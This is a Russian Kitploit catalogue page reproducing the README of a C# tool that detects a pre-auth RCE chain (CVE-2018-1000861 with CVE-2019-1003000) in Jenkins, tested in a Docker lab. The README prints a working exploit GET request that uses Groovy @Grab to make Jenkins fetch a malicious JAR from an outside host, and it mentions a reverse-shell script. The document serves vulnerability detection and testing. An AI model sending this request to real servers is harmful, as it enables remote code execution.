Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-1003000_RCE-DETECTION — C# модуль для определения, уязвим ли сервер Jenkins к уязвимости RCE, обнаруженной в CVE-2019-1003000 (в связке с CVE-2018-1000861 для RCE без аутентификации) | Kitploit
Инструменты/GitHubGitHub/1nthekut/cve-2019-1003000_rce-detection
РазведкаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на Проникновение
GitHub1nthekut/cve-2019-1003000_rce-detection

CVE-2019-1003000_RCE-DETECTION

C# модуль для определения, уязвим ли сервер Jenkins к уязвимости RCE, обнаруженной в CVE-2019-1003000 (в связке с CVE-2018-1000861 для RCE без аутентификации)

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
427 лет назадЕщё не проверено

CVE-2019-1003000_RCE-DETECTION

Общее описание

Объединив уязвимости CVE-2018-1000861 и CVE-2019-1003000, я создал модуль для проверки Pre-Auth RCE на Jenkins CI. Изначально я пытался обнаружить уязвимость с помощью имени пользователя, пароля и имени задания, но подумал, что будет более реалистично и интересно подойти к этой задаче, объединив две уязвимости.

Предварительные требования

Установите Visual Studio или .NET Core framework на вашу машину с Windows, Linux или macOS.

Настройка среды (как я это делал)

  1. Сначала загрузил указанную версию Docker (из инструкций к заданию) с DockerHub: docker pull jenkins/jenkins:2.121
  2. Затем написал bash-скрипт (находится в этом репозитории) для запуска нового Docker-контейнера с уязвимым сервером Jenkins и привязал его к локальной машине
    • Администратор
      • имя пользователя - Naruto
      • Пароль - Uzumaki
      • Имя - Naruto
  3. Затем перешёл на plugins.index.io, чтобы найти конкретные версии плагинов для установки в Jenkins
    • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
    • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
    • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
    • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
      • После установки плагинов перейдите в раздел «Advanced» в «Manage plugins», очистите поле «Update Site» и сохраните, чтобы плагины не обновлялись автоматически при перезапуске.

Запуск (как установить и выполнить)

  1. Перейдите в каталог payload и выполните mvDir.sh
    • Запустите как ./mvDir.sh
      • Файл уже должен быть помечен как исполняемый; если нет, выполните chmod +x mvDir.sh. Если всё равно не работает, можно запустить как bash mvDir.sh
      • Эта команда переместит каталог, содержащий вредоносный JAR-файл, в корень компьютера — туда, где GET-запрос будет искать JAR-файл, указанный в вредоносном запросе.
  2. Перейдите в jenkins_environment и выполните ./run_vuln_jenkins.sh
    • Если команда не работает, следуйте инструкциям выше.
    • Этот bash-скрипт запускает Docker-контейнер, в котором работает уязвимый сервер Jenkins (на http://localhost:8080).
    • Кроме того, выполнение ./run_updated_jenkins.sh или bash run_updated_jenkins.sh поднимет защищённый, обновлённый сервер Jenkins на http://localhost:8000, и запуск модуля против него покажет, что он защищён и не уязвим для цепочки CVE-2018-1000861 с CVE-2019-1003000.
  3. Перейдите в exploit-detection-code/jenkins-server-rce/
    • Этот проект создан с использованием .NET Core framework. Для запуска сначала выполните команду

Мысли

Первоначальный план, который я составил, был хорошей основой для решения; однако в процессе я понял, что делаю много лишней работы. Сначала я написал bash-скрипт для запуска обратной оболочки на хост-машину, чтобы доказать RCE. Но целью этого задания было доказать существование уязвимости. В данном случае нужно было доказать, что RCE может быть запущена на Jenkins версии 2.121.2 со следующими плагинами: Pipeline: Declarative Plugin до 1.3.4, Pipeline: Declarative Extension Points API до 1.3.4, Pipeline: Groovy Plugin до 2.61, Script Security Plugin до 1.49.

Мне не нужно было создавать обратную оболочку и показывать, что я могу выполнять произвольные команды. Из-за этого обнаружение стало проще как на Windows, так и на .nix-системах. После выполнения GET-запроса я обнаружил, что страница отвечает статусом успеха или выводит сообщение об ошибке. Чтобы убедиться, что статус успеха не является ложным срабатыванием, я настроил веб-сервер на своём хосте с помощью python -m SimpleHTTPSever 80, и при отправке пользовательского GET-запроса к указанному вредоносному JAR-файлу (находится в папке payload) видно, что GET-запрос отвечает кодом состояния 200 с правильным путём к JAR-файлу, найденному на локальной машине, что доказывает существование уязвимости. Ниже приведён пример GET-запроса и соответствующего ответа. Разные пути к файлам (tw/ и www/) содержат вредоносный JAR; это просто разные пути, по которым запрос ищет его.

GET-запрос

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

Использованные источники

  • https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
  • https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
  • https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/
Скачать инструмент
dotnet build
  • Запуск модуля
    • Для запуска модуля: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>

      • Важно не забыть http://, иначе программа выбросит HTTP-исключение, и придётся запускать заново.
    • Параметры

      СокращениеПолная формаОписание
      -uname--usernameИмя пользователя Jenkins
      -p--passwordПароль пользователя Jenkins
      -u--urlЦелевой URL
      -ip--ip addressIP-адрес
      -v--verboseПодробный вывод
    • -p и -uname ещё не реализованы, так как я создал модуль только для обнаружения Pre-Auth RCE, полагая, что это более реалистично для Detectify, потому что, на мой взгляд, сканер компании просто нацелен на целевой домен (и не имеет настраиваемых параметров, таких как пароль и имя пользователя, поскольку это также было бы небезопасно для передачи другой компании, даже если она пытается помочь улучшить их безопасность).